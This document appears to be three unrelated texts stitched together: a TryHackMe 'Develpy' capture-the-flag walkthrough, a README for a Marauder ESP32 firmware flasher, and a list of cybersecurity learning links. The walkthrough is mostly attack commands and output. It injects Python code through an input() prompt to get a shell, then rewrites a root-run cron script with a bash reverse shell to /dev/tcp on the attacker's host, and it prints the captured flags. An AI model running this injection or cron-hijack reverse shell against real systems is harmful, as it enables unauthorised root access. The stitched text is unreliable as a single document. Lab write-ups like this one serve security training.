SF:NULL,48,"\r\n\x20\x20\x20\x20\x20\x20\x20\x20Private\x200days\r\n\r\n\x
SF:20Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20")
SF:%r(GetRequest,136,"\r\n\x20\x20\x20\x20\x20\x20\x20\x20Private\x200days
SF:\r\n\r\n\x20Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\
SF:?\?:\x20Traceback\x20\(most\x20recent\x20call\x20last\):\r\n\x20\x20Fil
SF:e\x20\"\./exploit\.py\",\x20line\x206,\x20in\x20<module>\r\n\x20\x20\x2
SF:0\x20num_exploits\x20=\x20int\(input\('\x20Please\x20enther\x20number\x
SF:20of\x20exploits\x20to\x20send\?\?:\x20'\)\)\r\n\x20\x20File\x20\"<stri
SF:ng>\",\x20line\x201,\x20in\x20<module>\r\nNameError:\x20name\x20'GET'\x
SF:20is\x20not\x20defined\r\n")%r(HTTPOptions,13A,"\r\n\x20\x20\x20\x20\x2
SF:0\x20\x20\x20Private\x200days\r\n\r\n\x20Please\x20enther\x20number\x20
SF:of\x20exploits\x20to\x20send\?\?:\x20Traceback\x20\(most\x20recent\x20c
SF:all\x20last\):\r\n\x20\x20File\x20\"\./exploit\.py\",\x20line\x206,\x20
SF:in\x20<module>\r\n\x20\x20\x20\x20num_exploits\x20=\x20int\(input\('\x2
SF:0Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20'\)
SF:\)\r\n\x20\x20File\x20\"<string>\",\x20line\x201,\x20in\x20<module>\r\n
SF:NameError:\x20name\x20'OPTIONS'\x20is\x20not\x20defined\r\n")%r(RTSPReq
SF:uest,13A,"\r\n\x20\x20\x20\x20\x20\x20\x20\x20Private\x200days\r\n\r\n\
SF:x20Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20T
SF:raceback\x20\(most\x20recent\x20call\x20last\):\r\n\x20\x20File\x20\"\.
SF:/exploit\.py\",\x20line\x206,\x20in\x20<module>\r\n\x20\x20\x20\x20num_
SF:exploits\x20=\x20int\(input\('\x20Please\x20enther\x20number\x20of\x20e
SF:xploits\x20to\x20send\?\?:\x20'\)\)\r\n\x20\x20File\x20\"<string>\",\x2
SF:0line\x201,\x20in\x20<module>\r\nNameError:\x20name\x20'OPTIONS'\x20is\
SF:x20not\x20defined\r\n")%r(GenericLines,13B,"\r\n\x20\x20\x20\x20\x20\x2
SF:0\x20\x20Private\x200days\r\n\r\n\x20Please\x20enther\x20number\x20of\x
SF:20exploits\x20to\x20send\?\?:\x20Traceback\x20\(most\x20recent\x20call\
SF:x20last\):\r\n\x20\x20File\x20\"\./exploit\.py\",\x20line\x206,\x20in\x
SF:20<module>\r\n\x20\x20\x20\x20num_exploits\x20=\x20int\(input\('\x20Ple
SF:ase\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20'\)\)\r
SF:\n\x20\x20File\x20\"<string>\",\x20line\x200\r\n\x20\x20\x20\x20\r\n\x2
SF:0\x20\x20\x20\^\r\nSyntaxError:\x20unexpected\x20EOF\x20while\x20parsin
SF:g\r\n");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=10/15%OT=22%CT=1%CU=38173%PV=Y%DS=2%DC=T%G=Y%TM=5F889B
OS:97%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10D%TI=Z%CI=I%II=I%TS=8)OP
OS:S(O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST11NW7%O5=M508ST
OS:11NW7%O6=M508ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)EC
OS:N(R=Y%DF=Y%T=40%W=6903%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 8080/tcp)
HOP RTT ADDRESS
1 34.19 ms 10.8.0.1
2 34.65 ms 10.10.120.12
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 173.85 seconds
```
[view-source:http://10.10.120.12:10000/](view-source:http://10.10.120.12:10000/)
```
Private 0days
Please enther number of exploits to send??: Traceback (most recent call last):
File "./exploit.py", line 6, in <module>
num_exploits = int(input(' Please enther number of exploits to send??: '))
File "<string>", line 1, in <module>
NameError: name 'GET' is not defined
```
```
ali@kali:~/CTFs/tryhackme/Develpy$ nc 10.10.120.12 10000
Private 0days
Please enther number of exploits to send??: 2
Exploit started, attacking target (tryhackme.com)...
Exploiting tryhackme internal network: beacons_seq=1 ttl=1337 time=0.041 ms
Exploiting tryhackme internal network: beacons_seq=2 ttl=1337 time=0.055 ms
kali@kali:~/CTFs/tryhackme/Develpy$ nc 10.10.120.12 10000
Private 0days
Please enther number of exploits to send??: "a"
Traceback (most recent call last):
File "./exploit.py", line 6, in <module>
num_exploits = int(input(' Please enther number of exploits to send??: '))
ValueError: invalid literal for int() with base 10: 'a'
kali@kali:~/CTFs/tryhackme/Develpy$ nc 10.10.120.12 10000
Private 0days
Please enther number of exploits to send??: 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
Exploit started, attacking target (tryhackme.com)...
Traceback (most recent call last):
File "./exploit.py", line 9, in <module>
for i in range(num_exploits):
OverflowError: range() result has too many items
kali@kali:~/CTFs/tryhackme/Develpy$ nc 10.10.120.12 10000
Private 0days
Please enther number of exploits to send??: eval(1)
Traceback (most recent call last):
File "./exploit.py", line 6, in <module>
num_exploits = int(input(' Please enther number of exploits to send??: '))
File "<string>", line 1, in <module>
TypeError: eval() arg 1 must be a string or code object
kali@kali:~/CTFs/tryhackme/Develpy$ nc 10.10.120.12 10000
Private 0days
Please enther number of exploits to send??: eval("1")
Exploit started, attacking target (tryhackme.com)...
Exploiting tryhackme internal network: beacons_seq=1 ttl=1337 time=0.020 ms
kali@kali:~/CTFs/tryhackme/Develpy$ nc 10.10.120.12 10000
Private 0days
Please enther number of exploits to send??: eval ("1+1")
Exploit started, attacking target (tryhackme.com)...
Exploiting tryhackme internal network: beacons_seq=1 ttl=1337 time=0.032 ms
Exploiting tryhackme internal network: beacons_seq=2 ttl=1337 time=0.094 ms
kali@kali:~/CTFs/tryhackme/Develpy$ nc 10.10.120.12 10000
Private 0days
Please enther number of exploits to send??: __import__('os').system('bash')
bash: cannot set terminal process group (759): Inappropriate ioctl for device
bash: no job control in this shell
king@ubuntu:~$ whoami
king
king@ubuntu:~$ pwd
/home/king
king@ubuntu:~$ ls
credentials.png exploit.py root.sh run.sh user.txt
king@ubuntu:~$ cat user.txt
cf85ff769cfaaa721758949bf870b019
king@ubuntu:~$
```
```
king@ubuntu:~$ sudo -l
sudo: no tty present and no askpass program specified
king@ubuntu:~$ id
uid=1000(king) gid=1000(king) groups=1000(king),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)
king@ubuntu:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * king cd /home/king/ && bash run.sh
* * * * * root cd /home/king/ && bash root.sh
* * * * * root cd /root/company && bash run.sh
#
king@ubuntu:~$ ls
credentials.png exploit.py root.sh run.sh user.txt
king@ubuntu:~$ rm -rf root.sh
king@ubuntu:~$ ls
credentials.png exploit.py run.sh user.txt
king@ubuntu:~$ echo "bash -i >& /dev/tcp/10.8.106.222/4444 0>&1" > root.sh
```
```
kali@kali:~/CTFs/tryhackme/Develpy$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.8.106.222] from (UNKNOWN) [10.10.120.12] 47824
bash: cannot set terminal process group (1227): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu:/home/king# cd /root
cd /root
root@ubuntu:~# ls
ls
company
root.txt
root@ubuntu:~# cat root.txt
cat root.txt
9c37646777a53910a347f387dce025ec
```
1. user.txt
`cf85ff769cfaaa721758949bf870b019`
2. root.txt
`9c37646777a53910a347f387dce025ec`
|
# Quick and easy flasher/updater for [Marauder](https://github.com/justcallmekoko/ESP32Marauder) ESP32-WROOM!
## This flasher/updater will work for any ESP32-WROOM chip or the v4 OEM Marauder.
Looking for a Linux/OS X version? [Check out SkeletonMan's Python edition!](https://github.com/SkeletonMan03/FZEasyMarauderFlash)
## Now it's as easy as 1, 2, 3 to install or update Marauder on Windows.
1. Download and extract [the ZIP file](https://github.com/UberGuidoZ/Flipper/raw/main/Wifi_DevBoard/FZ_Marauder_Flasher/ESP32-WROOM/Marauder_WROOM_v1.10.zip) above to the same directory.<br>
2. Plug in your ESP32-WROOM or v4 OEM Marauder directly into your PC via USB.<br>
3. Double-click `Flash-WROOM.bat` from the extracted files then choose `Flash` or `Update`.
**NOTE: You may have to hold the boot button while plugging it in or even for the entire duration of the flash!**
* If you choose `Flash Marauder` the script will locate your board and flash Marauder automatically!<br>
* If you choose `Update Marauder` you'll be taken to the Marauder download location to grab a new version.<br>
(Simply download the OLD_HARDWARE BIN file, stick it in the WROOM subfolder by the batch file, and delete the old BIN.)<br>
* If you choose `Download USB UART` the script will open the Silicon Labs driver download.
Current Marauder version included in the ZIP: v0.10.0.20221222 (current release as of Dec 22, 2022)
**Once the install has completed, [head over here](https://github.com/justcallmekoko/ESP32Marauder/wiki) to learn more about what Marauder can do!**
The [batch file](https://github.com/UberGuidoZ/Flipper/blob/main/Wifi_DevBoard/FZ_Marauder_Flasher/ESP32-WROOM/Flash-WROOM.bat) is also included above for review and to track changes.
Acknowledgements:<br>
* [justcallmekoko](https://github.com/justcallmekoko/ESP32Marauder) for the AWESOME work in developing Marauder and porting it to the Flipper.
* [Frog](https://github.com/FroggMaster) For initial scripting under the [Wifi Pentest Tool](https://github.com/FroggMaster/ESP32-Wi-Fi-Penetration-Tool) and inspiring the idea.<br>
* [SkeletonMan](https://github.com/SkeletonMan03/FZEasyMarauderFlash) For initial WROOM scripting and inspiration.<br>
* [UberGuidoZ](https://github.com/UberGuidoZ) Creation of this one, plus tweaking/automating Frog's original, continued scripting, development, and testing.
-----
## Donation Information
Nothing is ever expected for the hoarding of digital files, creations I have made, or the people I may have helped.
## Ordering from Lab401? [USE THIS LINK FOR 5% OFF!](https://lab401.com/r?id=vsmgoc) (Or code `UberGuidoZ` at checkout.)
I've had so many asking for me to add this.<br>
 
**BTC**: `3AWgaL3FxquakP15ZVDxr8q8xVTc5Q75dS`<br>
**BCH**: `17nWCvf2YPMZ3F3H1seX8T149Z9E3BMKXk`<br>
**ETH**: `0x0f0003fCB0bD9355Ad7B124c30b9F3D860D5E191`<br>
**LTC**: `M8Ujk52U27bkm1ksiWUyteL8b3rRQVMke2`<br>
**PayPal**: `[email protected]`
So, here it is. All donations of *any* size are humbly appreciated.<br>
 
Donations will be used for hardware (and maybe caffeine) to further testing!<br>
|
# Getting Started in Cybersecurity and Hacking
## Introduction
This guide aims to provide easy-to-access resources for individuals interested in learning more about Technology, Cybersecurity, Ethical hacking, and Bug Bounty. Below, you will find organized links and resources related to each topic for your convenience.
## Table of Contents
- [Getting Started](https://github.com/Striving-to-learn/Cybersecurity-Resources/blob/main/README.md#getting-started)
- [Hacking and Security Challenges](https://github.com/Striving-to-learn/Cybersecurity-Resources/blob/main/README.md#hacking-and-security-challenges)
- [Hacking Techniques](https://github.com/Striving-to-learn/Cybersecurity-Resources/blob/main/README.md#hacking-techniques)
- [Programming](https://github.com/Striving-to-learn/Cybersecurity-Resources/blob/main/README.md#programming)
- [Linux](https://github.com/Striving-to-learn/Cybersecurity-Resources/blob/main/README.md#linux)
- [Networking](https://github.com/Striving-to-learn/Cybersecurity-Resources/blob/main/README.md#networking)
- [Certifications](https://github.com/Striving-to-learn/Cybersecurity-Resources/blob/main/README.md#certifications)
- [Web Application Security](https://github.com/Striving-to-learn/Cybersecurity-Resources/blob/main/README.md#web-application-security)
- [Cybersecurity Tools](https://github.com/Striving-to-learn/Cybersecurity-Resources/blob/main/README.md#cybersecurity-tools)
- [Cloud Security](https://github.com/Striving-to-learn/Cybersecurity-Resources/blob/main/README.md#cloud-security)
- [Digital Forensics](https://github.com/Striving-to-learn/Cybersecurity-Resources/blob/main/README.md#digital-forensics)
- [Operating Systems](https://github.com/Striving-to-learn/Cybersecurity-Resources/blob/main/README.md#operating-systems)
- [Osint](https://github.com/Striving-to-learn/Cybersecurity-Resources/blob/main/README.md#osint)
- [References and Cheat sheets](https://github.com/Striving-to-learn/Cybersecurity-Resources/blob/main/README.md#references-and-cheatsheets)
- [Communities and Conferences](https://github.com/Striving-to-learn/Cybersecurity-Resources/blob/main/README.md#communities-and-conferences)
- [Blogs, Wikis, Magazines, and Forums](https://github.com/Striving-to-learn/Cybersecurity-Resources/blob/main/README.md#blogs-wikis-magazines-and-forums)
- [Security Research](https://github.com/Striving-to-learn/Cybersecurity-Resources/blob/main/README.md#security-research)
- [Glossary and terms](https://github.com/Striving-to-learn/Cybersecurity-Resources/blob/main/README.md#glossary) Various terms are used in this article. A glossary of cybersecurity terms is provided below
- [Contributions](https://github.com/Striving-to-learn/Cybersecurity-Resources/blob/main/README.md#contributions)
## Getting Started
### Books and PDFs
#### Legal PDFs about Programming, Networking, IT, Cybersecurity, and Penetration Testing
- [Hacker High School](https://www.hackerhighschool.org/lessons.html#info1-1o)
- [Free Security eBooks on GitHub](https://github.com/Hack-with-Github/Free-Security-eBooks)
- [Free Programming eBooks on GitHub](https://github.com/EbookFoundation/free-programming-books/blob/main/casts/free-podcasts-screencasts-en.md)
Please note that pirating will not be supported, as many books are available for free in a legal way.
### Educational Channels
#### Hacking/Cybersecurity Youtubers:
- [Hak5](https://www.youtube.com/channel/UC3s0BtrBJpwNDaflRSoiieQ) Hacking hardware, cybersecurity news, hacking tech, and general hacking tutorials.
- [Webpwnized](https://www.youtube.com/channel/UCPeJcqbi8v46Adk59plaaXg) Hacking tutorials, CTFS, Linux.
- [Sstec](https://www.youtube.com/c/SSTecTutorials/playlists) Hacking tutorials, CTFS, and projects.
- [Hackhappy](https://www.youtube.com/channel/UCVakgfsqxUDo2uTmv9MV_cA) Hacking tutorials, CTFS, and Linux.
- [Derek Rook](https://www.youtube.com/c/DerekRook/videos) CTFS (Capture the Flags).
- [John Hammond](https://www.youtube.com/channel/UCVeW9qkBjo3zosnqUbG7CFw) Programming, hacking tutorials, malware analysis, CTFS, Linux, and careers.
- [Nullbyte](https://www.youtube.com/channel/UCgTNupxATBfWmfehv21ym-g) Hacking tutorials, cybersecurity for ethical hackers and programmers.
- [Hackersploit](https://www.youtube.com/channel/UC0ZTPkdxlAKf-V33tqXwi3Q) Penetration testing, web application hacking tutorials, Linux, malware analysis.
- [InsiderPHD](https://www.youtube.com/channel/UCPiN9NPjIer8Do9gUFxKv7A) How to get started with bug bounty hunting.
- [STOK](https://www.stokfredrik.com/) Bug bounty tutorials, vulnerability analysis, hacking tools, and hacking methodology.
- [Liveoverflow](https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w) Hacking tutorials, CTFs/writeups, HackTheBox, web programming.
- [IppSec](https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA) Labs and capture-the-flag tutorials, HackTheBox, etc.
- [Peter Yaworski](https://www.youtube.com/user/yaworsk1?app=desktop) Web-application hacking tips and interviews.
- [Bugcrowd](https://www.youtube.com/c/Bugcrowd) Bug bounty methodology and interviews.
- [The Cyber Mentor](https://www.youtube.com/channel/UC0ArlFuFYMpEewyRBzdLHiw) Ethical hacking, web application hacking, hardware tutorials, tech reviewer.
- [Nahamsec](https://www.youtube.com/c/Nahamsec/featured) Educational hacking and bug bounty videos and career advice.
- [Simply Cyber](https://www.simplycyber.io/) Helps people with cybersecurity career development, and has a daily cybersecurity news video.
- [Black Hat](https://www.youtube.com/c/BlackHatOfficialYT) Technical cybersecurity conferences.
- [DEFCON](https://www.youtube.com/user/DEFCONConference) Technical Cybersecurity Conference.
- [13Cubed](https://www.youtube.com/channel/UCy8ntxFEudOCRZYT1f7ya9Q) Videos on tools, forensics, and incident response.
- [BlackPerl](https://www.youtube.com/channel/UCqVIVdF5lwb3uMhiS0XM4XQ) Malware analysis, forensics, and incident response.
- [Computerphile](https://www.youtube.com/user/Computerphile/videos) Programming, programming concepts, tech concepts, networking, programming and hacking, Linux.
- [Security Weekly](https://www.youtube.com/channel/UCg--XBjJ50a9tUhTKXVPiqg) Interviews with cybersecurity figures.
- [SecurityNow](https://twit.tv/shows/security-now) Cybercrime news, hacking, and web application security.
- [Infosec Institute](https://www.youtube.com/user/InfoSecInstitute/videos) Cybersecurity awareness.
- [InfoSec Live](https://www.youtube.com/c/infoseclive) Everything cybersecurity related from tutorials to interviews.
- [The PC Security Channel](https://www.youtube.com/channel/UCKGe7fZ_S788Jaspxg-_5Sg) Windows security, malware news, and tutorials.
- [David Bombal](https://www.youtube.com/channel/UCP7WmQ_U4GB3K51Od9QvM0w) Everything cybersecurity related.
#### Tech Reviewers/PC Building/Consumer Tech
- [Barnacules Nerdgasm](https://www.youtube.com/channel/UC1MwJy1R0nGQkXxRD9p-zTQ) Tech reviewer, hardware tutorials.
- [Linus Tech Tips](https://www.youtube.com/user/LinusTechTips) Hardware tutorials, tech reviewer, PC building.
- [ThioJoe](https://www.youtube.com/channel/UCQSpnDG3YsFNf5-qHocF-WQ) Hardware tutorials, tech reviewer, PC building.
- [Elithecomputerguy](https://www.youtube.com/c/Elithecomputerguypage/playlists) Hardware tutorials, network tutorials, hardware reviewer, hacking tutorials, Linux tutorials, website development.
- [Joe Collins](https://www.youtube.com/channel/UCTfabOKD7Yty6sDF4POBVqA)Everything Linux related, including tutorials and guides
- [Network Chuck](https://networkchuck.com/): All-around networking YouTuber
- [Professor Messer](https://www.youtube.com/c/professormesser) Hardware Networking and Security Certifications Youtubers. Has extensive resources on CompTIA certifications
### Podcasts
- [Darknet Diaries](https://darknetdiaries.com/)
- [SimplyCyber](https://www.simplycyber.io/)
- [Smashing Security](https://www.smashingsecurity.com/)
- [Hacking Humans](https://thecyberwire.com/podcasts/hacking-humans)
- [Fraudology](https://podcasts.apple.com/us/podcast/fraudology-podcast-with-karisse-hendrick/id1530461089)
- [The Brett Johnson Show](https://www.thebrettjohnsonshow.com/)
- [What The Shell](https://whattheshellpod.com/)
- [The Hacker Mind](https://thehackermind.com/)
## Hacking and Security Challenges
### Capture the Flag (CTF) Challenges
- [TryHackMe](https://tryhackme.com/) Highly recommended for beginners. They have many good free tutorials and detailed walkthroughs for many rooms.
- [HackThisSite](https://www.hackthissite.org/) Focuses primarily on web exploit challenges.
- [HackTheBox](https://www.hackthebox.eu/) Virtual machines available for download to practice hacking. Offers both beginner-friendly and advanced content.
- [Juice Shop](https://juice-shop.herokuapp.com/#/) An intentionally vulnerable web application developed by OWASP for hands-on learning of web application security.
- [HackerOne](https://www.hackerone.com/) Web hacking challenges and bug bounty program platform.
- [CyberSecLabs](https://www.cyberseclabs.co.uk/) An online platform offering cybersecurity challenges and labs for hands-on practice and learning.
- [WebScanTest](http://www.webscantest.com/) A website/application that allows users to test and analyze the security of web applications through vulnerability assessments and penetration testing.
- [PortSwigger](http://www.portswigger.net) Web hacking CTFs and challenges and extensive resources on learning web application security
- [CrackMe](http://crackme.cenzic.com/Kelev/view/home.php) Contains various Small programs or applications to download designed to test a user's reverse engineering and software cracking skills.
### Bug Bounty Programs
- [HackerOne](https://www.hackerone.com/) One of the largest bug bounty platforms with diverse programs and well-known clients. Offers rewards for security vulnerabilities in various applications
- [Bugcrowd](https://www.bugcrowd.com/) Crowdsourced platform that connects ethical hackers with companies seeking vulnerability assessments. Offers programs from startups to enterprises
- [Synack](https://www.synack.com/) Hybrid platform that combines human and AI-powered security testing. Offers continuous monitoring and has a private network of skilled researchers
- [Open Bug Bounty](https://www.openbugbounty.org/) Unique platform with a focus on responsible disclosure. Allows researchers to report vulnerabilities to websites without fear of legal consequences
- [YesWeHack](https://www.yeswehack.com/) European bug bounty platform with a wide range of programs and collaboration with cybersecurity experts. Offers a Responsible Disclosure program for non-monetary rewards
- [Zerodium](https://zerodium.com/program.html) Zerodium pays BIG bounties to security researchers to acquire their original and previously unreported zero-day research
### Vulnerable Software:
- [VulnHub](https://www.vulnhub.com/) Virtual machines available for download to practice hacking.
- [Exploit-DB](http://www.exploit-db.com/webapps/) Database of exploits and vulnerability information.
- [OWASP SiteGenerator](http://www.owasp.org/index.php/Owasp_SiteGenerator) A project by OWASP that helps generate vulnerable web applications for learning and testing web application security.
- [McAfee Hacme](http://www.mcafee.com/us/downloads/free-tools/hacmebooks.aspx), [Hacme Casino](http://www.mcafee.com/us/downloads/free-tools/hacme-casino.aspx), [Hacme Shipping](http://www.mcafee.com/us/downloads/free-tools/hacmeshipping.aspx), [Hacme Travel](http://www.mcafee.com/us/downloads/free-tools/hacmetravel.aspx): Deliberately vulnerable web applications developed by McAfee for practicing security testing and identifying vulnerabilities.
- [OldApps](http://www.oldapps.com/) Provides archived versions of software applications for compatibility or nostalgic purposes.
- [OldVersion](http://www.oldversion.com/) Provides archived versions of software applications for compatibility or nostalgic purposes.
### Hacking Techniques
#### Google Hacking and Dorking:
* http://www.stachliu.com/index.php/resources/tools/google-hacking-diggity-project/ - Google Hacking and Dorking software
* http://midnightresearch.com/projects/search-engine-assessment-tool/#downloads - Search engine vulnerability assessment
* http://sqid.rubyforge.org/#next - SQL Injection Digger
* http://voidnetwork.org/5ynL0rd/darkc0de/python_script/dorkScan.html - Python dork scanning tool
#### Wireless
* http://code.google.com/p/pyrit/
* http://www.oact.inaf.it/ws-ssri/Costa.pdf - Wireless Network Hacking PDF.
* http://packetstormsecurity.org/papers/wireless/cracking-air.pdf - Cracking the Wireless Encryption PDF
#### Password and Hash Cracking Tutorials
- [Security and Password Exploitation Class](http://www.irongeek.com/i.php?page=videos/password-exploitation-class)
- [Default Passwords for Various Vendors and Software](http://cirt.net/passwords)
- [Tutorial on Cracking Passwords Using Medusa](http://www.foofus.net/~jmk/medusa/medusa-smbnt.html)
- [Tutorial on Cracking Hashes Using Medusa](http://www.foofus.net/?page_id=63)
- [Blog About Cracking Hashes and Passwords](http://hashcrack.blogspot.com/)
- [How to Find Passwords and Hashes in a System](http://www.nirsoft.net/articles/saved_password_location.html)
- [Default Passwords](http://www.virus.org/default-password)
- [Online Hash Cracker](http://www.phenoelit-us.org/dpl/dpl.html)
- [Cracking Hashes and Passwords with Ncrack](http://nmap.org/ncrack/)
- [Hacking Tutorials Using Medusa](http://www.foofus.net/~jmk/medusa/medusa.html)
- [Password Cracking with John the Ripper](http://www.openwall.com/john/)
- [Tutorials on Using Ophcrack](http://ophcrack.sourceforge.net/)
- [Hacking Tutorials with Keimpx](http://blog.0x3f.net/tool/keimpx-in-action/)
- [Detection and Exploitation of SMB Default Credentials](http://code.google.com/p/keimpx/)
- [Cracking Hashes with GPU Acceleration](http://sourceforge.net/projects/hashkill/)
#### Password and Hash Cracking in the Browser:
- [Online Website for Hash Cracking](https://crackstation.net/)
- [Tool for Cracking Various Hash Types](http://www.onlinehashcrack.com/)
- [Decode Base64 Encoded Hashes](https://www.base64encode.org/)
- [Tool to Decode Encoded Hashes](https://www.base64encode.net/)
#### Wordlists
* [Seclists](https://github.com/danielmiessler/SecLists) is one of the most well-known sets of wordlists. Referenced in many CTFS
* [Korelogic](http://contest.korelogic.com/wordlists.html)
* [PacketStorm](http://packetstormsecurity.org/Crackers/wordlists/)
* [Skullsecurity](http://www.skullsecurity.org/wiki/index.php/Passwords)
* [Wordbook](http://wordbook.xyz/download/)
#### Pass the Hash
* http://www.sans.org/reading_room/whitepapers/testing/pass-the-hash-attacks-tools-mitigation_33283
* http://www.sans.org/reading_room/whitepapers/testing/crack-pass-hash_33219
#### MiTM (Man in the Middle) :
* http://media.techtarget.com/searchUnifiedCommunications/downloads/Seven_Deadliest_UC_Attacks_Ch3.pdf - 7 Deadliest UC Attacks PDF.
* http://www.blackhat.com/presentations/bh-europe-03/bh-europe-03-valleri.pdf - MITM BlackHat talk
* http://www.irongeek.com/i.php?page=videos/ettercap-plugins-find-ip-gw-discover-isolate - Ettercap Plugins video.
* http://www.irongeek.com/i.php?page=videos/ettercapfiltervid1 - Tutorial on Ettercap Filters video
* http://articles.manugarg.com/arp_spoofing.pdf - ARP Spoofing paper
#### Active Directory
* [Deep dive into Active directory](https://zer1t0.gitlab.io/posts/attacking_ad/) Attacking Active Directory: 0 to 0.9
* [Active Directory Mindmap](https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2023_02.svg) In-depth active directory Mindmap by orange-cyberdefense
#### Metasploit:
- [Metasploit Exploitation Framework](http://www.offensive-security.com/metasploit-unleashed/Metasploit_Unleashed_Information_Security_Training) - Exploiting with the power of the Metasploit framework
- [Irongeek Metasploit Course](http://www.irongeek.com/i.php?page=videos/metasploit-class) - Introduction to exploitation with Metasploit
## Programming
- [edX](https://www.edx.org/) Provides various free programming courses from universities.
- [freeCodeCamp](https://www.freecodecamp.org/) A free website for learning web development and Python. FOcuses extensively on Front end and back-end web development
- [Udemy](https://www.udemy.com/) Offers career training courses, some of which are free.
- [Khan Academy](https://www.khanacademy.org/) Provides courses on math, English, and computer programming in a fun gamified way for free.
- [MIT OpenCourseWare](https://ocw.mit.edu/courses/intro-programming/) Free intro to programming course released by MIT.
- [Code.Google](http://code.google.com/edu/languages/google-python-class/index.html) Google's Python class tutorials.
- [Swaroopch](http://www.swaroopch.com/notes/Python_en:Table_of_Contents) Python tutorials by Swaroop.
- [TheNewBoston](http://www.thenewboston.com/?cat=40&pOpen=tutorial) Programming tutorials and resources.
- [Hackerrank](https://www.hackerrank.com/) Coding challenges and competitions.
- [Sololearn](https://www.sololearn.com/) Offers interactive coding lessons for various programming languages.
- [Codecademy](https://www.codecademy.com/) Provides interactive coding lessons.
- [Coursera](https://www.coursera.org/) Offers career development courses, both paid and free.
- [DevDocs](https://devdocs.io/) Comprehensive documentation for various programming languages and technologies.
- [W3Schools](https://www.w3schools.com/) Provides web development tutorials and references.
- [GitHub](https://github.com/) Code sharing and collaboration platform.
- [PythonAnywhere](https://www.pythonanywhere.com/) Online Python development and hosting platform.
- [CS50](https://cs50.harvard.edu/college/2020/fall/) Well-known free course for introduction to programming.
- [HackerRank](https://www.hackerrank.com/) Offers coding challenges and competitions.
- [SoloLearn](https://www.sololearn.com/) Provides interactive coding lessons for various programming languages.
- [Khan Academy](https://www.khanacademy.org/) Highly recommended resource with lots of free courses in programming, computer science, math, English, etc.
- [DevDocs](https://devdocs.io/) Comprehensive documentation for various programming languages and technologies.
- [W3Schools](https://www.w3schools.com/) Provides web development tutorials and references.
- [TheNewBoston](https://www.youtube.com/user/thenewboston) Programming tutorials (web development - front end and back end, python, ruby).
- [The Net Ninja](https://www.youtube.com/c/TheNetNinja/playlists) Front-end and Back-End web development tutorials
- [Derek Banas](https://www.youtube.com/c/derekbanas/playlists) Tutorials on almost every kind of programming you can imagine.
- [Traversy Media](https://www.youtube.com/c/TraversyMedia/playlists) Python, Web Development, and various programming tutorials
- [Programming with Mosh](https://www.youtube.com/channel/UCWv7vMbMWH4-V0ZXdmDpPBA) Programming Tutorials for various languages
## Linux
- [Linux Training Academy](https://www.linuxtrainingacademy.com/linux-commands-cheat-sheet/): Cheat sheet for useful command-line tools.
- [TryHackMe](https://tryhackme.com/) Website for beginners and advanced users to learn about Linux and more.
- [Linux Journey](https://linuxjourney.com/) A hands-on step-by-step process for learning how to use Linux.
- [Compute Freely](https://computefreely.org/) Resources for learning about Linux and open-source software.
- [Linux Newbie Guide](https://linuxnewbieguide.org/overview-of-chapters/) Provides an overview of Linux and its features.
- [Null Byte Linux Basics](https://null-byte.wonderhowto.com/how-to/linux-basics/) A series of free Linux basic tutorials.
- [UbuntuPIT](https://www.ubuntupit.com/best-linux-commands-to-run-in-the-terminal/) List of 50 very useful Linux commands.
- [Linux for Ethical Hackers](https://www.youtube.com/watch?v=U1w4T03B30I) YouTube video series on Linux for ethical hackers.
- [FreeCodeCamp Linux Crash Course](https://www.youtube.com/watch?v=ROjZy1WbCIA&t=3867s) YouTube beginner crash course in Linux.
- [Linux Server Course](https://www.youtube.com/watch?v=WMy3OzvBWc0) YouTube course on Linux server system configuration and operation.
- [Switched to Linux](https://www.youtube.com/channel/UCoryWpk4QVYKFCJul9KBdyw) Linux tutorials and stuff Linux related.
